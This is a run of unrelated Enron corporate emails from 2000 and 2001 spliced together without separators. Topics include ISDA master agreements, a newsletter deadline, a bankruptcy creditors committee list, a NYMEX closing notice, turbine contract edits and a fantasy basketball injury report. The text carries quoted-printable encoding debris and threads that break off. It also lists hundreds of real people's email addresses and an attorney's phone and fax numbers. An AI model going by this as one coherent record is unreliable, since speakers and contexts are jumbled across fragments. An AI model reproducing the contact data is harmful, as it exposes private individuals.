CES SS-1 contract.  Should we release this to ENA?

Have checked with the Physical side of the business - MGMCC - they do not 
have any Master Agreements in place.

I think there may be a few agreements on the Financial side but our 
understanding was that these were one-off agreements for long-term, 
structured deals.  Am trying to follow up with MG and will revert with any 
findings.

Regards,
Lara

Edmund Cooper
07/06/2000 09:54 AM
To: Tana Jones/HOU/ECT@ECT
cc: Paul Simons/LON/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Justin 
Boyd/LON/ECT@ECT, Amita Gosalia/LON/ECT@ECT, Lara Fields/HOU/ECT@ECT 
Subject: Re: ISDA Master Agreements  

Tana,  To date we do not know how many (if any) financial masters MG has in 
place.  We'll check it out at this end and let you know when we have further 
details.  Thanks, Edmund

From: Tana Jones on 07/05/2000 07:01 PM CDT
To: Paul Simons/LON/ECT@ECT, Edmund Cooper/LON/ECT@ECT
cc: Mark Taylor/HOU/ECT@ECT 

Subject: ISDA Master Agreements

Do we have a list and copies of any financial master agreements MG has in 
place?  When can we receive copies?

---------------------- Forwarded by Michelle Vitrella/HOU/ECT on 11/28/2000 
09:54 PM ---------------------------
   
	From:  Michelle Vitrella                           11/20/2000 11:25 AM
	
To: Jeffrey A Shankman/HOU/ECT@ECT, Alan Aronowitz/HOU/ECT@ECT, Sally 
Beck/HOU/ECT@ECT, Rick Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Kathryn Corbally/Corp/Enron@ENRON, Jeff Donahue/HOU/ECT@ECT, Stephen H 
Douglas/HOU/ECT@ECT, Jennifer Fraser/HOU/ECT@ECT, Shanna 
Funkhouser/Corp/Enron@ENRON, Eric Gonzales/LON/ECT@ECT, Gary 
Hickerson/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Larry 
Lawyer/NA/Enron@Enron, Chris Mahoney/LON/ECT@ECT, George 
McClellan/HOU/ECT@ECT, Thomas Myers/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, 
Beth Perlman/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, Daniel Reck/HOU/ECT@ECT, 
Cindy Skinner/HOU/ECT@ECT, Scott Tholan/Corp/Enron@Enron, Gary 
Taylor/HOU/ECT@ECT, Heather Purcell/NA/Enron@ENRON, Jeff 
Andrews/NA/Enron@Enron, Jez Peters/LON/ECT@ECT, Chris Connelly/LON/ECT@ECT, 
Laura Harder/Corp/Enron@Enron, Marsha Schiller/HOU/ECT@ECT, Renee 
Ingram/HOU/ECT@ECT, Airam Arteaga/HOU/ECT@ECT, Lucy Ortiz/HOU/ECT@ECT, Janet 
R Dietrich/HOU/ECT@ECT, Scott Josey/Corp/Enron@ENRON, Max 
Yzaguirre/NA/Enron@ENRON, Patti Thompson/HOU/ECT@ECT, John Best/NA/Enron@Enron
cc: Kathie Grabstald/HOU/ECT@ECT, Cathy Phillips/HOU/ECT@ECT 
Subject: Electronic Newsletter Deadline

Thank you for getting on board and helping make the ENA electronic newsletter 
a success.  We look  forward to receiving your "Business Highlights" and/or 
"Nuggets & Notes" for the upcoming newsletter.  The newsletter will not go 
out this week because of the Thanksgiving Holiday.  We do plan on sending one 
the following week.  The deadline for the next newsletter is noon, Wednesday, 
November 29.

Hope to hear from you soon.
Michelle Vitrella & Kathie Grabstald

Michael:
Do we know who from Enron will actually be on the committee?
Best,
Jeff

	Karen Denne
	04/11/2001 09:29 AM
		 
		 To: Jeff Dasovich/NA/Enron@Enron, Susan J Mara/NA/Enron@ENRON, Sandra 
McCubbin/NA/Enron@Enron, Paul Kaufman/PDX/ECT@ECT, Mark 
Palmer/Corp/Enron@ENRON
		 cc: 
		 Subject: Composition of unsecured creditors committee

fyi...
---------------------- Forwarded by Karen Denne/Corp/Enron on 04/11/2001 
09:29 AM ---------------------------
From: Michael Tribolet/ENRON@enronXgate on 04/11/2001 07:11 AM
To: Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Rick 
Buy/ENRON@enronXgate, William S Bradford/ENRON@enronXgate, Richard 
Shapiro/NA/Enron@Enron, James D Steffes/NA/Enron@Enron, Karen 
Denne/Corp/Enron@ENRON, Lisa Mellencamp/HOU/ECT@ECT, Vicki Sharp/HOU/EES@EES, 
Travis McCullough/HOU/ECT@ECT
cc: jklauber@llgm.com@SMTP@enronXgate, ceklund@llgm.com@SMTP@enronXgate, 
byoung@llgm.com@SMTP@enronXgate, jlhuemoe@llgm.com@SMTP@enronXgate 

Subject: Composition of unsecured creditors committee

Please see appointment list attached below:

KES Kingsburg L.P. (QF?)
City of Palo Alto (pension holdings?)
Enron Corp & Affiliates
State of Tennessee (pension holdings?)
Dynegy Power Marketing, Inc.
The Davey Tree Co. (vendor)
GWF Power Systems (QF)
U.S. Bank (Trustee on PCB's)
Merrill Lynch (CP holder?)
The Bank of New York (Bond Trustee)
Bank of America (Agent on revolver)

From:  "Johnson, Stephen" <Stephen.Johnson2@usdoj.gov>@ENRON 
[mailto:IMCEANOTES-+22Johnson+2C+20Stephen+22+20+3CStephen+2EJohnson2+40usdoj+
2Egov+3E+40ENRON@ENRON.com] 
Sent: Tuesday, April 10, 2001 7:52 PM
To: Johnson, Stephen; 'jmhpower@aol.com'; 
'grant_kolling@city.palo-alto.ca.us'; Tribolet, Michael; 
'tmilne@mail.state.tn.us'; 'john.c.herbert@dynegy.com'; 
'david.adante@davey.com'; 'pmar@mofo.com'; 'keith.marshall@usbank.com'; 
'mlurie@exchange.ml.com'; 'gbush@bankofny.com'; 
'clara.strand@bankofamerica.com'

I'm pretty sure the form was left off....

From:  Johnson, Stephen
Sent: Tuesday, April 10, 2001 5:49 PM
To: 'jmhpower@aol.com'; 'grant_kolling@city.palo-alto.ca.us'; 
'michael.tribolet@enron.com'; 'tmilne@mail.state.tn.us'; 
'john.c.herbert@dynegy.com'; 'david.adante@davey.com'; 'pmar@mofo.com'; 
'keith.marshall@usbank.com'; 'mlurie@exchange.ml.com'; 'gbush@bankofny.com'; 
Subject:

Stephen L. Johnson
Attorney
United States Department of Justice
Office of the U.S. Trustee
250 Montgomery Street, Suite 1000
San Francisco, CA 94104

415-705-3333 tel.
415-705-3379 fax
stephen.johnson2@usdoj.gov

 - Appointment of Committee.pdf

Notice 01-81

FROM:
Neal Wolkoff, Executive Vice President

RE:
Early Closing

DATE:
March 5, 2001

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The executive committee of New York Mercantile Exchange, Inc., has decided =
to=20
close the Exchange early today due to anticipated transportation problems=
=20
because of the on-going snowstorn in the New York metropolitan area.

All NYMEX Division and COMEX Division markets will close at 1:00 P.M.  All=
=20
post-close sessions will occur at the regular interval to the end of tradin=
g.

For the most current information, the Exchange is advising that individuals=
=20
check Fastfacts, the Exchange=01,s 24-hour information service, at (212)=20
301-4871 and use extension 900 for announcements, or log onto the Exchange=
=01,s=20
world wide web home page on the Internet- http://www.nymex.com.

# # #

email.

"http://208.206.41.61/email/email_log.cfm?useremail=3Dsara.shackleton@enron=
.com&
refdoc=3D(01-81)"

On this request I meant "Users", not "Readers", so they can have edit access.

	ARSystem <ARSystem@mailman.enron.com>
	05/15/2001 11:53 AM
		 
		 To: "tana.jones@enron.com" <tana.jones@enron.com>
		 cc: 
		 Subject: Request Submitted: Access Request janet.wood@enron.com

Thank you for your request. You will be notified by email when your request 
has been processed. You can check the progress of your request by clicking 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000034918&Page=
MyReq.

The report named: Violation/Notification Memo <http://erv.corp.enron.com/linkFromExcel.asp?report_cd=60&report_name=Violation/Notification+Memo&category_cd=2&category_name=ENRON%20CONSOLIDATED&toc_hide=1&sTV1=2&TV1Exp=Y&current_efct_date=08/31/2001>, published as of 08/31/2001 is now available for viewing on the website.

Publisher's Notes:

PRELIMINARY

Kay,

I changed your edit to Exhibit A-1 to show that we're burning natural gas,
not liquid fuel.

Other than that, looks good.

Lee

Sent: Monday, April 23, 2001 12:21 PM
To: Johnson, Lee L (PS, GE AEP)
Subject: GE Turbine Contract Insertion Language

I hope this is the last thing.  Here's the latest version of the contract
sans these insertions.

(See attached file: Salmon Energy Agreement - Version 5.DOC)
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/23/2001 12:14

Kay Mann
04/19/2001 03:06 PM

To:   lee.johnson@ss.ps.com, kent.shoemaker@ae.ge.com
cc:   Stephen Thome/HOU/ECT@ECT, Jake Thomas/HOU/ECT@ECT

Subject:  GE Turbine Contract Insertion Language

Here's what Delta would like in the Salmon break out contract.  How does it
look to you?

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/19/2001 03:02

"Richard Vicens" <rvicens@deltapower.com> on 04/19/2001 03:12:54 PM

To:   <Stephen.Thome@enron.com>, <kay.mann@enron.com>,
      <CCampbell@KSLAW.com>
cc:   "Lang, Gregory F." <gregorylang@paulhastings.com>, "PARKER, Isabel"
      <isabel.parker@freshfields.com>, "Anthony Harrington"
      <aharrington@deltapower.com>

(See attached file: Adjustment Language.DOC)

 - Salmon Energy Agreement - Version 5.DOC

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100 percent and is expected to play against Golden State on Tuesday night.=
=20
Fantasy owners who rolled the dice and played Wallace this week will be hap=
py=20
that they did - Golden State's frontcourt has been decimated by injuries an=
d=20
will be easy prey for Wallace.  =20

 Jerome Williams , F DET - Free Agent Updated 12/12/00=20
 Williams is currently on the injured list with a sprained right ankle. He =
is=20
scheduled to have X-rays taken on the ankle on Tuesday, and won't be eligib=
le=20
to return to action until Dec. 19. He is averaging 8.1 points and 8.2=20
rebounds per game this season, and has marginal value in the world of=20
Fantasy.  =20

 James Posey , F DEN - Free Agent Updated 12/12/00=20
 Posey and a handful of unnamed teammates may not play in Tuesday night's=
=20
game against the Heat in protest over the actions of Head Coach Dan Issel.=
=20
"The team got together and discussed some things," said Posey, "and=20
(protesting) is what the conclusion was (Monday)." Reports out of Denver sa=
y=20
that the probems between the coach and his players escolated when Issel=20
ripped Nuggets' center Raef LaFrentz after a recent loss to the Boston=20
Celtics. If the protest does in fact take place, Fantasy owners will miss a=
=20
night of production from some of their Denver players.  =20

 Brevin Knight , G CLE - Free Agent Updated 12/12/00=20
 It looks like Knight will be making a return trip to the injured list. The=
=20
Cavs' reserve point guard is still feeling some discomfort in his right kne=
e,=20
and team officials are saying that he came off the injured list too soon. T=
he=20
Cavaliers are expected to activate point guard Michael Hawkins in time for=
=20
their game against Dallas on Tuesday night. With Andre Miller at the point,=
=20
neither Knight nor Hawkins has any real Fantasy value.  =20

 Alan Henderson , F ATL - Free Agent Updated 12/12/00=20
 Henderson was held out of workouts on Monday after spraining his left=20
shoulder after a hard fall during Saturday night's game against Cleveland.=
=20
Head Coach Lon Kruger said that he would wait until Tuesday to see how=20
Henderson felt, but the former Hoosiers' star had different ideas. "The=20
shoulder's still attached to my body," said Henderson. "No question I'll=20
play."  Henderson has been a solid performer all season, and has been one o=
f=20
Atlanta's most consistent players. With trade rumors still swirling about=
=20
Dikembe Mutombo, Henderson's Fantasy value could rise even further. If he i=
s=20
still available in your league, adding Henderson to your roster would be a=
=20
smart move. =20

 Jim Jackson , G ATL - Rude Boys (Not) Updated 12/12/00=20
 Jackson is set to make his return to the court on Tuesday night as the Haw=
ks=20
face off against the Kings. He has been taken off the injured list, where h=
e=20
has spent the last eight games with a knee sprain. With the emergence of=20
Jason Terry at the two guard, Jackson will now switch back to his more=20
natural small forward position. Before his injury, Jackson was Atlanta's=20
leading scorer, averaging 17.1 points per game. The former Buckeye is worth=
 a=20
roster spot if he is still available in your league, and could be a solid=
=20
replacement for those owners who just lost Eric Snow.   =20

 Tim Duncan , F SA - The Old School Fools Updated 12/12/00=20
 Fantasy owners got a real scare when Duncan went down, clutching his knee,=
=20
during Monday's game against the Jazz. It was the same knee that Duncan had=
=20
surgery on last season. He was diagnosed with a hyperextended left knee, bu=
t=20
returned to the game in the fourth quarter. He will have further evaluation=
s=20
performed on Tuesday. Duncan, who leads the Spurs in both scoring and=20
rebounding, is one of the most coveted stars in all of Fantasy.    =20

 Eric Snow , G PHI - Rude Boys (Not) Updated 12/12/00=20
 Snow, who has been placed on the injured list by Philadelphia, will underg=
o=20
surgery on Tuesday to repair the fracture in his right ankle. He is expecte=
d=20
to miss 6-8 weeks.  Fantasy owners who had Snow on their roster would be wi=
se=20
to check their league's free agent list in order to replace him. If no viab=
le=20
alternatives are available, look to make a trade to bolster your lineup.  =
=20

 Isaac Austin , C VAN - Free Agent Updated 12/12/00=20
 Austin missed Monday night's game against the Rockets with the flu. He is=
=20
listed on the NBA injury report as day-to-day. At 5.1 points and 4.6 reboun=
ds=20
per game, Austin has very little Fantasy value. =20

 Michael Dickerson , G VAN - Free Agent Updated 12/12/00=20
 Dickerson left Monday's game against the Rockets in the first quarter afte=
r=20
aggravating a foot injury that he sustained during training camp. Head Coac=
h=20
Sidney Lowe said that Dickerson's condition will be evaluated on Tuesday.=
=20
Fantasy owners who just got Dickerson back must now hold their breath once=
=20
again and hope his latest injury isn't seroius.   =20

 Grant Hill , F ORL - The Wave Updated 12/12/00=20
 In his first game back from injury, Hill led the Magic with 19 points in a=
=20
surprising 92-80 loss to the Los Angeles Clippers. He added seven rebounds=
=20
and four assists in only 25 minutes of play. Hill shot 7-of-10 from the=20
field, and looked like he is almost all the way back from his ankle injury =
-=20
which should make his Fantasy owners very happy to have him back in their=
=20
lineup.   =20

 Shaquille O'Neal , C LAL - The Rounders Updated 12/11/00=20
 O'Neal will receive his diploma at Louisiana State on Friday, causing him =
to=20
miss that night's game against the Vancouver Grizzlies at Staples Center.  =
He=20
will miss the game with his team's blessing -- and won't be docked any of h=
is=20
$19.286 million season salary.  His absence shouldn't hurt you in a Fantasy=
=20
league that goess by averages but it could be a problem in leagues that go =
by=20
total points.    =20

 Avery Johnson , G SA - Free Agent Updated 12/11/00=20
 Johnson is suffering from a bruised left thigh and is questionable for=20
Monday's showdown at Utah.  Antonio Daniels will start at point guard if=20
Johnson is unable to play.  Even if he does play the bruise may sap him of=
=20
his speed and hinder his Fantasy production.  Bench Johnson for a while if=
=20
possible.  =20

 Gary Trent , F DAL - Free Agent Updated 12/11/00=20
 Trent has been working out and could be close to making his return soon. =
=20
Owner Mark Cuban told The Dallas Morning News that Trent will be back by De=
c.=20
20 "at the latest".  This should not persuade Fantasy owners to pick him up=
. =20
Unless you desperately need a forward, wait and see if he remains healthy=
=20
when he returns before you pick him up.   =20

 Iakovos Tsakalidis , C PHO - Free Agent Updated 12/11/00=20
 Tsakalidis was placed on the injured list due to a dental problem.  When h=
e=20
was drafted during the offseason Phoenix hoped that he could move into the=
=20
starting lineup.  He has played sparingly so far this season and has been a=
=20
major Fantasy bust.  If you have him on your Fantasy team it's time for you=
=20
to let him go.   =20

 Predrag Stojakovic , F SAC - Fear Updated 12/11/00=20
 Stojakovic missed his second straight game on Sunday night with a bruised=
=20
right shoulder. He injured the shoulder in practice on Thursday and hasn't=
=20
played since. In the wake of Stojakovic's injury, Fantasy owners may want t=
o=20
look elsewhere for a forward if your roster allows a solid replacement.   =
=20

 Rasheed Wallace , F POR - Tribe Called PLove Updated 12/11/00=20
 Wallace has been listed as day-to-day on the NBA's injury report with a=20
sprained right wrist. He sustained the injury during Friday night's loss to=
=20
the Sixers and missed Saturday's game against Detroit. Wallace, who is one =
of=20
the league's few solid Fantasy centers, has averaged 20.1 points per game t=
o=20
lead the Blazers this season. With so few options at center, some Fantasy=
=20
owners may have to roll the dice with Wallace this week and hope he returns=
=20
to the court for Tuesday night's game at Golden State.   =20

 Kobe Bryant , G LAL - Tribe Called PLove Updated 12/11/00=20
 Bryant suffered a slight sprain on his left ankle during Sunday's game=20
against the Pistons. The injury is not serious, and the league's leading=20
scorer isn't expected to miss any time. Continue starting Bryant, who has=
=20
become a real Fantasy stud, on a weekly basis.   =20

 Grant Hill , F ORL - The Wave Updated 12/11/00=20
 Hill was activated from the injured list before tonight's game against the=
=20
Los Angeles Clippers. The former Duke star has missed all but two of=20
Orlando's 20 games this season with an ankle injury. In his only two=20
appearances, Hill averaged 13.5 points, 7.5 rebounds and 6.5 assists per=20
game. He may need a few games to get his feet back under him, but Hill shou=
ld=20
still produce numbers good enough to warrant a start this week.    =20

 Kendall Gill , G NJ - Free Agent Updated 12/11/00=20
 Gill missed his third consecutive game on Sunday night due to tendinitis i=
n=20
his right knee. He isn't expected to return to the Nets' lineup until=20
Saturday, when the team travels to Atlanta. Gill has been a major=20
disappointment to Fantasy owners early in the season, averaging only 10.5=
=20
points per game. It may be time to cut your losses and drop Gill if another=
=20
viable option is open to you.   =20

 Chucky Atkins , G DET - Free Agent Updated 12/11/00=20
 Atkins suffered a bruised heel during Sunday night's game  against the=20
Lakers. He shot just 2-for-10 in only 20 minutes of play. The injury isn't=
=20
considered serious, and Atkins should return to practice on Tuesday. The=20
Pistons' point guard leads his team in assists (5.2) and is second in scori=
ng=20
(12.8), and does have some value in the world of Fantasy, especially to tho=
se=20
owners in deeper leagues. With a three-game week, it may be better to sit=
=20
Atkins if your roster allows it.   =20

 Bimbo Coles , G CLE - Free Agent Updated 12/11/00=20
 Coles will have a bone scan on Monday and will undergo arthroscopic surger=
y=20
on his inflamed left knee on Tuesday. Coles, who was placed on the injured=
=20
list on Nov. 22, was supposed to be activated for Saturday night's game=20
against Atlanta before his knee began bothering him again. The Cleveland=20
reserve has very little Fantasy value, especially on a team with Andre Mill=
er=20
and Brevin Knight.   =20

 Elton Brand , F CHI - Denvers Nuggets Updated 12/11/00=20
 Brand returned to the court on Saturday night after missing three games wi=
th=20
a hyperextended right knee. He scored 23 points in 33 minutes of play in=20
Chicago's 105-81 loss to San Antonio. Fantasy owners who possess the rights=
=20
to Brand should put him back into their starting lineup when roster changes=
=20
occur. =20

 Derrick Coleman , F CHA - The Rounders Updated 12/11/00=20
 Coleman is set to resume practice on Monday and will have private sessions=
=20
with a personal trainer to keep his weight down. Coleman, who has been on t=
he=20
injured list since Nov. 18 due to a lack of physical training, had reported=
ly=20
weighed as much as 297 pounds earlier this fall. The team is hoping to have=
=20
him back by the end of December. When Coleman does return, only time will=
=20
tell if he can regain the form that lead his team in rebounding and was=20
second in scoring a year ago. Use caution before picking up Coleman, who ha=
s=20
all the talent to become a solid Fantasy player but seems to lack the drive=
=20
and motivation to be considered a real commodity.  =20

 Roshown McLeod , F ATL - Free Agent Updated 12/11/00=20
 McLeod hopes to return to the Hawks' lineup on Monday after spending over =
a=20
month on the injured list. McLeod, who had been granted a "leave" by the te=
am=20
to deal with the death of his mother, avearged 9.1 points and 2.7 rebounds =
in=20
seven games this season.  He has very little Fantasy value.  =20

 Eric Snow , G PHI - Rude Boys (Not) Updated 12/10/00=20
 The 76ers placed Snow on the injured list with a stress fracture in his=20
right ankle. Snow, who plays point guard next to star Allen Iverson,=20
underwent a CT scan Thursday that revealed the stress fracture. He is=20
expected to be out for six to eight weeks.  =20

More Updates=20

Copyright 2000 Commissioner.COM Inc and SportsLine.com Inc.
Your site is always at http://basketball.commissioner.com/efba

BK10SP

The original message was received at Fri, 23 Mar 2001 13:33:04 -0500 (EST)
from outbound5.enron.com [192.152.140.9]

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Subject: I'm Leaving Enron
To: David_Aamodt@pgn.com, dapnucc@teleport.com, dick@pnucc.org,        
seabron.adamson@frontier-economics.com, Frank_Afranji@pgn.com,        
raa@vnf.com, Joseph.Alamo@enron.com, ajaldrich@snopud.com,        
Jeff.Alexander@enron.com, Al.Alexanderson@enron.com,        
Keonee.Almaida@enron.com, hollis.alpert@ferc.fed.us,        
Brenda.Anderson@enron.com, angles@howry.com,        
Alan.B.Aronowitz@enron.com, gdb@vnf.com, npbaker@bpa.gov,        
ellen@tca-us.com, paulb@citizenspower.com, paulb@citizenspower.com,        
garybarbour@email.msn.com, jbartus@cammckenna.com,        
glynda.becker@mail.house.gov, Samuel.Behrends@enron.com,        
bbennett@bpa.gov, sberman@hewm.com, ramsen.betfarhad@mail.house.gov,        
KBILAS@SKADDEN.COM, sbooye@Skadden.com, raymond.r.boyce@state.or.us,        
tbradley@bracepatt.com, scott.brattebo@pacificorp.com,        
sbrose@steptoe.com, sbuchheit@bracepatt.com, alanb@wutc.wa.gov,        
Jim.Byrne@enron.com, vergil.cabasco@mail.house.gov,        
johncameron@dwt.com, Doug.Carmichael@enron.com, Ed.Cassidy@enron.com,        
ajchambe@llgm.com, Melissa.Chiechi@enron.com, 
elchristensen@snopud.com,        kevin.clark@ci.seattle.wa.us, 
rcloward@avistacorp.com,        david_cohen@rniinc.com, 
Bill.Comish@enron.com,        Victor.Contract@enron.com, 
powerlac@aol.com,        Frederick.Coolbroth@enron.com, 
michaelcorrigan@bchydro.bc.ca,        kcorum@nwppc.org, KCurry@bracepatt.com, 
wcurry@enron.com,        gdahlke@paine-hamblen.com, kadaly@mcimail.com, 
mday@gmssr.com,        dearing@chelanpud.org, 
tdeboer@paine-hamblen.com,        Tom_Delaney@enron.com, 
sdleonard@earthlink.net, dldorrell@stoel.com,        Mary.Doyle@enron.com, 
Jay.Dudley@enron.com, mce2280@idahopower.com,        
michaelearly@earthlink.net, Katherine.Edwards@enron.com,        
rle@givenspursley.com, imaxtrans@aol.com, Chris.Elliott@enron.com,        
sandra.elliott@ferc.fed.us, kerwin@ect.enron.com, dezickson@mwe.com,        
Jim.Fallon@enron.com, fallonr@howrey.com, Elias.Farrah@enron.com,        
Michele_Farrell@pgn.com, dfaulk@puget.com, gfergus@brobeck.com,        
Willard.Fields@enron.com, sfisher@avistaenergy.com, 
pfox@bracepatt.com,        Pat.Franklin@enron.com, 
John.Frazzell@enron.com,        ericf@prestongates.com, 
don.furman@pacificorp.com, segfurst@bpa.gov,        
Jackie.Gallagher@enron.com, craiggannett@dwt.com,        
Alvaro.Garcia@enron.com, sbishop@gibbs-bruns.com, wgibson@nwppc.org,        
ggilbert@ci.tacoma.wa.us, Pat.Gilman@enron.com,        
Alex.Goldberg@enron.com, jlgreene@energyadvocates.com,        
Chris_Groener@mail.house.gov, Mary.Groggin@enron.com,        
Mark.E.Haedicke@enron.com, Stephen.Hall@enron.com,        
steve.c.hall@enron.com, Leo.Hamblin@enron.com, whannaford@NWPPC.org,        
jim.harding@ci.seattle.wa.us, rhardy@hardyenergy.com, 
kharri@puget.com,        Steve_Hawke@pgn.com, dhawkins@caiso.com, 
marc.hellman@state.or.us,        Scott.Helyer@enron.com, 
mhenry@bracepatt.com, dwmp@teleport.com,        rhornby@tca-us.com, 
mhornst@aol.com, dhuard@jmbm.com,        Marlene.Huntsinger@pgn.com, 
cfi1@tca-us.com,        Richard.Ingersoll@enron.com, pljacklin@stoel.com, 
montrey@aol.com,        danj@cfmdc.com, kgjohnson@bpa.gov, 
ljohnson@pwrteam.com,        Karen.E.Jones@enron.com, 
mkanner@kannerandassoc.com,        karid@perkinscoie.com, 
pkaufma@ect.enron.com, Paul.Kaufman@enron.com,        
Jeffrey.Keeler@enron.com, Devon Kehoe <devon_kehoe@mentorg.com>,        
James.Keller@enron.com, Joe.Kelliher@mail.house.gov, kkennedy@bdbc.com,       
 Rick.Kessler@enron.com, rdking@bpa.gov, Harry.Kingerski@enron.com,        
Harry.Kingerski@enron.com, rsk@schwabe.com, gwilliams8@austin.rr.com,        
John.Klauberg@enron.com, Holli.Krebs@enron.com, ekrogh@wiredweb.com,        
blafferty@avistacorp.com, wdlamb@bpa.gov, John.Lamb@enron.com,        
Therese.Lamb@enron.com, srlarson@bpa.gov,        
Cindy_Tatham@co.washington.or.us, zora.lazic@bchydro.com,        
kaleathley@bpa.gov, pamela_lesh@pgn.com, Debi.LeVine@enron.com,        
lcg@europa.com, doug.little@powerex.com, Robert.Loeffler@enron.com,        
Chris.Long@enron.com, sjlong@bpa.gov, rlopezv@www.conet.com.mx,        
david_lucio@iep.illinova.com, king.lum@bchydro.bc.ca,        
kevin.lynch@pacificorp.com, Mark.Maehr@enron.com,        
Randal.T.Maffett@enron.com, John.Malowney@enron.com,        
Sueyen.Mao@enron.com, Susan.J.Mara@enron.com, Susan.J.Mara@enron.com,        
Lee.Martin@enron.com, maurw@perkinscoie.com, Wayne.Mays@enron.com,        
Michael.McCall@enron.com, Sandra.McCubbin@enron.com,        
Travis.McCullough@enron.com, Michael.McDonald@enron.com,        
brugen@erols.com, mckinley@wpuda.org, mcm@vnf.com, mcnichol@wapa.com,        
shauna@pnucc.org, Maureen.McVicker@enron.com, pmeringolo@brobeck.com,        
demetcalf@bpa.gov, cemeyer@bpa.gov, jmilegich@sppc.com,        
fred_miller@pgn.com, Jeffrey.Miller@enron.com,        
jerry.miller@pacificorp.com, Laura.Miller@enron.com,        
scott.miller@ferc.fed.us, Bill.Miner@enron.com,        
phil_moeller@gorton.senate.gov, pmohler@hewm.com, emoler@velaw.com,        
nkmorgado@bpa.gov, Mike@tonkon.com, krmoxness@bpa.gov,        
mmps@millcreeklaw.com, pmurphy@mbllp.com, terrym@millcreeklaw.com,        
bmurtha@acy.sunint.com, Rich.Nassief@enron.com, tod@mgninc.com,        
Douglas_Nichols@pgn.com, Patty.Nichols@enron.com,        
Christi.Nicolay@enron.com, tmnoguchi@bpa.gov, darcy@tonkon.com,        
Sarah.Novasel@enron.com, Sarah.Novosel@enron.com,        
Tom.O'Donnell@enron.com, PObenchain@idahopower.com,        
Pegy.Olds@enron.com, Carol.Opatrny@enron.com, tpaine@avistacorp.com,        
Dave.Parquet@enron.com, bpascoe@mtpower.com, afpaschke@bpa.gov,        
ccperigo@bpa.gov, wlpernas@stoel.com, lpeters@pacifier.com,        
jill@pnucc.org, Mona.L.Petrochko@enron.com, npickover@bracepatt.com,        
Phillip.Platter@enron.com, Alfred.Pollard@enron.com,        
Walt.Pollock@enron.com, gporter@sppc.com, Kevin.M.Presto@enron.com,        
jquint@puget.com, arlene.ragozin@ci.seattle.wa.us, maraschio@bpa.gov,        
Dale.Rasmussen@enron.com, Scott.Rasmussen@enron.com,        
Bobby.Reeves@enron.com, preiten@pngc.com, reyna2r@kochind.com,        
shellyr@pacifier.com, Jeff.Richter@enron.com, raroach@bpa.gov,        
atrodrigues@bpa.gov, rarogers@bpa.gov, peterroi@erols.com,        
Rothfelder@rlo-law.com, Richard.Sanders@enron.com, 
jsaven@pacifier.com,        Michael.Schilmoeller@enron.com, 
jschlect@avistacorp.com,        Sabine.Schnittger@frontier-economics.com, 
Diana.Scholtes@enron.com,        Roger.Seifert@enron.com, 
Cara.Semperger@enron.com,        asettanni@bracepatt.com, 
Richard.Shapiro@enron.com, vsharp@enron.com,        msmith1@enron.com, 
Joshua.Sheinkman@enron.com, jshurts@nwppc.org,        Sid@enron.com, 
msizer@ci.tacoma.wa.us, slavens.paula@deps.ppl.com,        
small@wrightlaw.com, small@wrightlaw.com, douglas.smith@ferc.fed.us,        
Mike.Smith@enron.com, Roger.Smith@enron.com,        
Larry.Soderquist@enron.com, Harvey.Spigal@enron.com,        
mstauffer@mtpower.com, James.D.Steffes@enron.com,        
James.D.Steffes@enron.com, mestewardpsedc@worldnet.att.net,        
JKStier@BPA.gov, rbstrong@paine-hamblen.com, DASwanstrom@Verner.com,        
Mike.Swerzbin@enron.com, tabors@tca-us.com, Ron.Tapscott@enron.com,        
James.K.Tarpey@enron.com, Jake.Thomas@enron.com,        
ryan_thomas@burns.senate.gov, jrt2058@idahopower.com,        
maryann@pnucc.org, mtierney@sempra.com, robin_tompkins@pgn.com,        
Ann.Tumlinson@enron.com, AW.Turner@enron.com, Sheila.Tweed@enron.com,        
Lisa.Urick@enron.com, rvermeers@avistacorp.com,        
Frank.W.Vickers@enron.com, John.Walley@enron.com,        
kristiwallis@sprintmail.com, walshl@howrey.com, swalton@enron.com,        
Steve.Walton@enron.com, kaward@bpa.gov, Kim.Ward@enron.com,        
Carol.Wardell@enron.com, dwatkiss@bracepatt.com, sawatson@bpa.gov,        
judy.welch@NWPP.ORG, 211-6155@MCIMAIL.COM, Kwenzel@zzz.com,        
cwestadt@sppc.com, Brian.Whalen@enron.com, Bill.Williams@enron.com,        
klwmtp@worldnet.att.net, lyn_williams@pgn.com, Greg.Wolfe@enron.com,        
Vickie.Wolk-Laniewski@enron.com, Ed.Wood@enron.com, mwood@stoel.com,        
Steve.Wright@enron.com, Teresa.L.Wright@enron.com, WSCC@enron.com,        
Charles.Yeung@enron.com, Christian.Yoder@enron.com,        
Steven.J.Kean@enron.com, Steve.Kean@enron.com,        
Travel.in.the.Park@enron.com, D.Brett.Hunsucker@enron.com,        
Carla.Hoffman@enron.com, Bernadette.Hawkins@enron.com,        
Joe.Hartsoe@enron.com, Donna.Fulton@enron.com, Roger.Fragua@enron.com,        
James.B.Fallon@enron.com, Michael.Etringer@enron.com,        
Terry.W.Donovan@enron.com, Stacy.Dickson@enron.com,        
Ginger.Dernehl@enron.com, Rhonda.L.Denton@enron.com,        
Jeff.Dasovich@enron.com, Sean.Crandall@enron.com, 
Tom.Briggs@enron.com,        t.briggs@enron.com, Stacey.Bolton@enron.com, 
dbenevid@enron.com,        dbenevid@enron.com, Tim.Belden@enron.com, 
Robert.Badeer@enron.com,        Phillip.K.Allen@enron.com, 
Alan.Comnes@enron.com, Lysa.Akin@enron.com,        
Portland.West.Desk@enron.com, assad@elektro.com.br,        
Alan.Comnes@enron.com, Alberto.Levy@enron.com, Aleck.Dadson@enron.com,        
Allison.Navin@enron.com, Amy.Fabian@enron.com,        
Barbara.A.Hueter@enron.com, Bernadette.Hawkins@enron.com,        
Bill.Moore@enron.com, cristinah@elektro.com.br,        
Carlos.Gustavo.Azevedo@enron.com, Carmen.Perez@enron.com,        
Carolyn.Cooney@enron.com, Charles.Yeung@enron.com,        
